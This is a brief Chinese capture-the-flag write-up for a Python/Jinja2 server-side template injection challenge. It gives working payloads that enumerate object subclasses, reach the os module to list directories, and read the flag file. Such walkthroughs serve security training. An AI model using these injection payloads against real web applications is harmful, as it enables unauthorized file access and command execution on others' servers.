攻防世界|Web_python_template_injection|SSTI-jinja2|


查看object对象下所有的类,从而筛选出可以利用的类
{{''.__class__.__mro__[2].__subclasses__()}}
<type 'file>'类型可以读取文件

它的序列为[40]
<class'site._Printer'>类型(可以进行命令执行)

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
查找目录

发现flag文件
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

另解


浙公网安备 33010602011771号